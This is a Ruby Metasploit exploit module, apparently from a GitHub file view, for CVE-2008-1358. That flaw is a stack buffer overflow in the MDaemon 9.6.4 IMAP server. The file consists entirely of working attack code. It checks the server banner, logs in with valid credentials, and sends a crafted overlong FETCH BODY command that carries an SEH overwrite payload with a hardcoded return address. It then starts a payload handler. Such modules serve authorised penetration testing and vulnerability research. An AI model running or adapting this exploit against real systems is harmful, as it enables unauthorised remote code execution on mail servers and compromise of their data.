/
mdaemon_fetch.rb
92 lines (76 loc) · 2.36 KB
/
mdaemon_fetch.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Imap
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
account credentials are required. Credit to Matteo Memelli
},
'Author' => [ 'Jacopo Cervini', 'aushack' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-1358' ],
[ 'OSVDB', '43111' ],
[ 'BID', '28245' ],
[ 'EDB', '5248' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a])",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
],
'DisclosureDate' => '2008-03-13',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
req0="0002 SELECT Inbox\r\n"
res = raw_send_recv(req0)
if (res and res =~ /0002 OK/)
print_status("SELECT command OK")
end
req1="0003 APPEND Inbox {1}\r\n"
res = raw_send_recv(req1)
if (res and res =~ /Ready for append literal/)
print_status("APPEND command OK")
end
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
if (res and res =~ /APPEND completed/)
print_status("APPEND command finished")
end
buf = rand_text_alpha_upper(528, payload_badchars)
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
print_status("Sending payload")
sock.put(sploit)
handler
disconnect
end
end